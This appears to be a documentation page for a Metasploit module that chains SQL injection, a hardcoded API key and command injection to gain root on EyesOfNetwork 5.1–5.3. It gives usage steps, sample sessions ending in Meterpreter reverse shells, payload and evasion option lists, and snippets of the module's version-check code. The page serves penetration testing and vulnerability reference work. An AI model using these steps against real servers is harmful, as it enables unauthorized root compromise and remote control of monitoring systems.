EyesOfNetwork 5.1-5.3 AutoDiscovery Target Command Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/eyesofnetwork_autodiscovery_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: EyesOfNetwork 5.1-5.3 AutoDiscovery Target Command Execution
Module: exploit/linux/http/eyesofnetwork_autodiscovery_rce
Source code: modules/exploits/linux/http/eyesofnetwork_autodiscovery_rce.rb
Disclosure date: 2020-02-06
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-8654, CVE-2020-8655, CVE-2020-8656, CVE-2020-8657, CVE-2020-9465

This module exploits multiple vulnerabilities in EyesOfNetwork version 5.1, 5.2 and 5.3 in order to execute arbitrary commands as root. This module takes advantage of a command injection vulnerability in the target parameter of the AutoDiscovery functionality within the EON web interface in order to write an Nmap NSE script containing the payload to disk. It then starts an Nmap scan to activate the payload. This results in privilege escalation because theapache user can execute Nmap as root. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via various methods, depending on the EON version. EON 5.3 is vulnerable to a hardcoded API key and two SQL injection exploits. EON 5.1 and 5.2 can only be exploited via SQL injection. This module has been successfully tested on EyesOfNetwork 5.1, 5.2 and 5.3.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/linux/http/eyesofnetwork_autodiscovery_rce
msf exploit(eyesofnetwork_autodiscovery_rce) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module exploits multiple vulnerabilities in EyesOfNetwork version 5.1, 5.2 and 5.3 in order to execute arbitrary commands as root.

The module first runs a few checks to verify the EyesOfNetwork version. If version 5.1 or 5.2 is detected, it attempts an authentication bypass via an SQL injection in the user_id field in a cookie (CVE-2020-9465). If version 5.3 is detected, the module exploits a hardcoded admin API key in EyesOfNetwork API version 2.4.2 (CVE-2020-8657) in order to generate a valid access token and uses it to create a new user with admin privileges. If the generated key is not valid, the admin API key is obtained via an SQL injection vulnerability affecting the same API version (CVE-2020-8656). If this doesn't work either, it attempts CVE-2020-9465, which is the slowest and most noisy exploit of the three.

For all vulnerable versions, the next step after bypassing authentication is to abuse a command injection vulnerability in the target parameter of the AutoDiscovery functionality within the EON web interface (CVE-2020-8654). Specifically, the module writes an Nmap NSE script containing the payload to disk, and then activates this script by launching an Nmap host discovery scan against the target. This achieves privilege escalation because the default sudo configuration permits the 'apache' user to execute Nmap as root (CVE-2020-8655).

The module only works with HTTPS, so SSL is enabled by default. Valid credentials for a user with administrative privileges are required. However, as explained above, the module can bypass authentication via various methods, depending on the EON version. This module has been successfully tested on EyesOfNetwork 5.1, 5.2 and 5.3.

Verification Steps


  1. Install the module as usual
  2. Start msfconsole
  3. Do: use exploit/linux/http/eyesofnetwork_autodiscovery_rce
  4. Do: set RHOSTS [IP]
  5. Do: set payload [payload]
  6. Do: set LHOST [IP]
  7. Do: exploit

Options


SERVER_ADDR

This option should be set for EON version 5.3 in case the EyesOfNetwork server IP address is different from RHOST. This because the EON server IP is needed to generate the API key.

SQLI_SLEEP

The sleep value to be used when attempting to exploit CVE-2020-9465, which uses sleep-based SQL injection. The default value is 1.

Scenarios


  1. EyesOfNetwork version 5.1
msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show options

Module options (exploit/linux/http/eyesofnetwork_autodiscovery_rce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       192.168.1.1      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT        443              yes       The target port (TCP)
   SERVER_ADDR                   yes       EyesOfNetwork server IP address (if different from RHOST)
   SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT      8080             yes       The local port to listen on.
   SSL          true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI    /                yes       Base path to EyesOfNetwork
   URIPATH                       no        The URI to use for this exploit (default is random)
   VHOST                         no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.2      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (x64)


msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.2:4444 
[*] Target is EyesOfNetwork version 5.1. Attempting exploitation using CVE-2020-9465.
[+] The target seems vulnerable.
[*] Verified that the admin user has at least one active session.
[*] Found the admin 'session_id' size: 31
[*] Calculating the admin 'session_id' value. This will take a while...
[+] Obtained admin 'session_id' value: 1856115646
[*] Command Stager progress - 100.00% done (897/897 bytes)
[*] Sending stage (3012516 bytes) to 192.168.1.1
[*] Meterpreter session 1 opened (192.168.91.2:4444 -> 192.168.1.1:55744) at 2020-05-19 08:48:37 -0400
  1. EyesOfNetwork version 5.2
msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.2:4444 
[*] Target is EyesOfNetwork version 5.2. Attempting exploitation using CVE-2020-9465.
[+] The target seems vulnerable.
[*] Verified that the admin user has at least one active session.
[*] Found the admin 'session_id' size: 31
[*] Calculating the admin 'session_id' value. This will take a while...
[+] Obtained admin 'session_id' value: 1445224287
[*] Command Stager progress - 100.00% done (897/897 bytes)
[*] Sending stage (3012516 bytes) to 192.168.1.3
[*] Meterpreter session 2 opened (192.168.1.2:4444 -> 192.168.1.3:38070) at 2020-05-19 08:49:46 -0400
  1. EyesOfNetwork version 5.3
msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.2:4444 
[*] Target is EyesOfNetwork version 5.3 or later. Attempting exploitation using CVE-2020-8657 or CVE-2020-8656.
[*] Using generated API key: a926605f4e617fd68bbb86112156b41ea2406503859dad58b0d0aefcc848b755
[+] Authenticated as user r6veXwtZ2zh
[*] Command Stager progress - 100.00% done (897/897 bytes)
[*] Sending stage (3012516 bytes) to 192.168.1.4
[*] Meterpreter session 3 opened (192.168.1.2:4444 -> 192.168.1.4:60244) at 2020-05-19 08:50:04 -0400

References


  1. https://www.exploit-db.com/exploits/48025
  2. https://nvd.nist.gov/vuln/detail/CVE-2020-8654
  3. https://nvd.nist.gov/vuln/detail/CVE-2020-8655
  4. https://nvd.nist.gov/vuln/detail/CVE-2020-8656
  5. https://nvd.nist.gov/vuln/detail/CVE-2020-8657
  6. https://nvd.nist.gov/vuln/detail/CVE-2020-9465

Go back to menu.

Msfconsole Usage


Here is how the linux/http/eyesofnetwork_autodiscovery_rce exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/eyesofnetwork_autodiscovery_rce

[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show info

       Name: EyesOfNetwork 5.1-5.3 AutoDiscovery Target Command Execution
     Module: exploit/linux/http/eyesofnetwork_autodiscovery_rce
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-06

Provided by:
  Cl��ment Billac
  bcoles <[email protected]>
  Erik Wynter

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Linux (x86)
  1   Linux (x64)
  2   Linux (cmd)

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT        443              yes       The target port (TCP)
  SERVER_ADDR                   yes       EyesOfNetwork server IP address (if different from RHOST)
  SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT      8080             yes       The local port to listen on.
  SSL          true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI    /                yes       Base path to EyesOfNetwork
  URIPATH                       no        The URI to use for this exploit (default is random)
  VHOST                         no        HTTP server virtual host

Payload information:
  Avoid: 1 characters

Description:
  This module exploits multiple vulnerabilities in EyesOfNetwork 
  version 5.1, 5.2 and 5.3 in order to execute arbitrary commands as 
  root. This module takes advantage of a command injection 
  vulnerability in the `target` parameter of the AutoDiscovery 
  functionality within the EON web interface in order to write an Nmap 
  NSE script containing the payload to disk. It then starts an Nmap 
  scan to activate the payload. This results in privilege escalation 
  because the`apache` user can execute Nmap as root. Valid credentials 
  for a user with administrative privileges are required. However, 
  this module can bypass authentication via various methods, depending 
  on the EON version. EON 5.3 is vulnerable to a hardcoded API key and 
  two SQL injection exploits. EON 5.1 and 5.2 can only be exploited 
  via SQL injection. This module has been successfully tested on 
  EyesOfNetwork 5.1, 5.2 and 5.3.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-8654
  https://nvd.nist.gov/vuln/detail/CVE-2020-8655
  https://nvd.nist.gov/vuln/detail/CVE-2020-8656
  https://nvd.nist.gov/vuln/detail/CVE-2020-8657
  https://nvd.nist.gov/vuln/detail/CVE-2020-9465
  https://www.exploit-db.com/exploits/48025
  url (https://github.com/h4knet/eonrce)

Module Options


This is a complete list of options available in the linux/http/eyesofnetwork_autodiscovery_rce exploit:

msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show options

Module options (exploit/linux/http/eyesofnetwork_autodiscovery_rce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        443              yes       The target port (TCP)
   SERVER_ADDR                   yes       EyesOfNetwork server IP address (if different from RHOST)
   SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT      8080             yes       The local port to listen on.
   SSL          true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI    /                yes       Base path to EyesOfNetwork
   URIPATH                       no        The URI to use for this exploit (default is random)
   VHOST                         no        HTTP server virtual host

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux (x64)

Advanced Options


Here is a complete list of advanced options supported by the linux/http/eyesofnetwork_autodiscovery_rce exploit:

msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show advanced

Module advanced options (exploit/linux/http/eyesofnetwork_autodiscovery_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
                                                                                         nvokewebrequest)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   SqliDelay               1.0                                                 no        The delay to sleep on time-based blind SQL injections
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/eyesofnetwork_autodiscovery_rce module can exploit:

msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux (x86)
   1   Linux (x64)
   2   Linux (cmd)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/eyesofnetwork_autodiscovery_rce exploit:

msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/pingback_bind_tcp                            normal  No     Linux x64 Pingback, Bind TCP Inline
   10  payload/linux/x64/pingback_reverse_tcp                         normal  No     Linux x64 Pingback, Reverse TCP Inline
   11  payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   12  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   13  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   14  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   15  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   16  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   17  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/eyesofnetwork_autodiscovery_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

103:	    vprint_status("Running check")
104:	
105:	    res_css = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'css/eonweb.css')
106:	
107:	    unless res_css
108:	      return CheckCode::Unknown('Connection failed')
109:	    end
110:	
111:	    unless res_css.code == 200
112:	      return CheckCode::Safe('Target is not an EyesOfNetwork application.')
113:	    end

Target is not an EyesOfNetwork application.


Here is a relevant code snippet related to the "Target is not an EyesOfNetwork application." error message:

107:	    unless res_css
108:	      return CheckCode::Unknown('Connection failed')
109:	    end
110:	
111:	    unless res_css.code == 200
112:	      return CheckCode::Safe('Target is not an EyesOfNetwork application.')
113:	    end
114:	
115:	    @version = res_css.body.to_s.split("VERSION :")[1].split(" ")[0]
116:	
117:	    if @version.to_s == ''

Could not determine EyesOfNetwork version.


Here is a relevant code snippet related to the "Could not determine EyesOfNetwork version." error message:

113:	    end
114:	
115:	    @version = res_css.body.to_s.split("VERSION :")[1].split(" ")[0]
116:	
117:	    if @version.to_s == ''
118:	      return CheckCode::Detected('Could not determine EyesOfNetwork version.')
119:	    end
120:	
121:	    if @version == '5.1'
122:	      return CheckCode::Appears("Target is EyesOfNetwork version 5.1.")
123:	    end

Target is EyesOfNetwork version 5.1.


Here is a relevant code snippet related to the "Target is EyesOfNetwork version 5.1." error message:

117:	    if @version.to_s == ''
118:	      return CheckCode::Detected('Could not determine EyesOfNetwork version.')
119:	    end
120:	
121:	    if @version == '5.1'
122:	      return CheckCode::Appears("Target is EyesOfNetwork version 5.1.")
123:	    end
124:	
125:	    #The css file for EON 5.2 and 5.3 both mentions version 5.2, so additional checks are needed
126:	    if @version != '5.2' #The module only works against EON 5.1, 5.2 and 5.3. Other versions are not considered vulnerable.
127:	      return CheckCode::NotVulnerable("Target is EyesOfNetwork version #{@version} and is not vulnerable.")

Target is EyesOfNetwork version <VERSION> and is not vulnerable.


Here is a relevant code snippet related to the "Target is EyesOfNetwork version <VERSION> and is not vulnerable." error message:

122:	      return CheckCode::Appears("Target is EyesOfNetwork version 5.1.")
123:	    end
124:	
125:	    #The css file for EON 5.2 and 5.3 both mentions version 5.2, so additional checks are needed
126:	    if @version != '5.2' #The module only works against EON 5.1, 5.2 and 5.3. Other versions are not considered vulnerable.
127:	      return CheckCode::NotVulnerable("Target is EyesOfNetwork version #{@version} and is not vulnerable.")
128:	    end
129:	
130:	    res_api = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')
131:	
132:	    unless res_api

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

128:	    end
129:	
130:	    res_api = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')
131:	
132:	    unless res_api
133:	      return CheckCode::Unknown('Connection failed')
134:	    end
135:	
136:	    unless res_api.code == 401 && res_api.body.include?('api_version')
137:	      return CheckCode::Safe('Target is not an EyesOfNetwork application.')
138:	    end

Target is not an EyesOfNetwork application.


Here is a relevant code snippet related to the "Target is not an EyesOfNetwork application." error message:

132:	    unless res_api
133:	      return CheckCode::Unknown('Connection failed')
134:	    end
135:	
136:	    unless res_api.code == 401 && res_api.body.include?('api_version')
137:	      return CheckCode::Safe('Target is not an EyesOfNetwork application.')
138:	    end
139:	
140:	    api_version = res_api.get_json_document()['api_version'] rescue ''
141:	
142:	    if api_version.to_s == ''

Could not determine EyesOfNetwork version.


Here is a relevant code snippet related to the "Could not determine EyesOfNetwork version." error message:

138:	    end
139:	
140:	    api_version = res_api.get_json_document()['api_version'] rescue ''
141:	
142:	    if api_version.to_s == ''
143:	      return CheckCode::Detected('Could not determine EyesOfNetwork version.')
144:	    end
145:	
146:	    api_version = Rex::Version.new api_version
147:	
148:	    unless api_version <= Rex::Version.new('2.4.2')

Target is EyesOfNetwork with API version <API_VERSION>.


Here is a relevant code snippet related to the "Target is EyesOfNetwork with API version <API_VERSION>." error message:

144:	    end
145:	
146:	    api_version = Rex::Version.new api_version
147:	
148:	    unless api_version <= Rex::Version.new('2.4.2')
149:	      return CheckCode::Safe("Target is EyesOfNetwork with API version #{api_version}.")
150:	    end
151:	
152:	    #The only way to distinguish between EON 5.2 and 5.3 without authenticating is by checking the mod_perl version in the http response headers
153:	    #The official EON 5.2 VM runs Apache with mod_perl version 2.0.10, while the EON 5.3 VM runs Apache with mod_perl version 2.0.11
154:	    if res_api.headers.to_s.include?('mod_perl/2.0.10')

Target is EyesOfNetwork 5.2 with API version <API_VERSION>.


Here is a relevant code snippet related to the "Target is EyesOfNetwork 5.2 with API version <API_VERSION>." error message:

151:	
152:	    #The only way to distinguish between EON 5.2 and 5.3 without authenticating is by checking the mod_perl version in the http response headers
153:	    #The official EON 5.2 VM runs Apache with mod_perl version 2.0.10, while the EON 5.3 VM runs Apache with mod_perl version 2.0.11
154:	    if res_api.headers.to_s.include?('mod_perl/2.0.10')
155:	      @version = '5.2'
156:	      return CheckCode::Appears("Target is EyesOfNetwork 5.2 with API version #{api_version}.")
157:	    elsif res_api.headers.to_s.include?('mod_perl/2.0.11')
158:	      @version = '5.3'
159:	      return CheckCode::Appears("Target is EyesOfNetwork 5.3 or older with API version #{api_version}.")
160:	    else
161:	      return CheckCode::Detected("Could not determine EyesOfNetwork version. API version is #{api_version}")

Target is EyesOfNetwork 5.3 or older with API version <API_VERSION>.


Here is a relevant code snippet related to the "Target is EyesOfNetwork 5.3 or older with API version <API_VERSION>." error message:

154:	    if res_api.headers.to_s.include?('mod_perl/2.0.10')
155:	      @version = '5.2'
156:	      return CheckCode::Appears("Target is EyesOfNetwork 5.2 with API version #{api_version}.")
157:	    elsif res_api.headers.to_s.include?('mod_perl/2.0.11')
158:	      @version = '5.3'
159:	      return CheckCode::Appears("Target is EyesOfNetwork 5.3 or older with API version #{api_version}.")
160:	    else
161:	      return CheckCode::Detected("Could not determine EyesOfNetwork version. API version is #{api_version}")
162:	    end
163:	  end
164:	

Could not determine EyesOfNetwork version. API version is <API_VERSION>


Here is a relevant code snippet related to the "Could not determine EyesOfNetwork version. API version is <API_VERSION>" error message:

156:	      return CheckCode::Appears("Target is EyesOfNetwork 5.2 with API version #{api_version}.")
157:	    elsif res_api.headers.to_s.include?('mod_perl/2.0.11')
158:	      @version = '5.3'
159:	      return CheckCode::Appears("Target is EyesOfNetwork 5.3 or older with API version #{api_version}.")
160:	    else
161:	      return CheckCode::Detected("Could not determine EyesOfNetwork version. API version is #{api_version}")
162:	    end
163:	  end
164:	
165:	  def sqli_to_admin_session
166:	    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

167:	      res = send_request_cgi({
168:	        'method' => 'GET',
169:	        'uri' => normalize_uri(target_uri.path, '/login.php'),
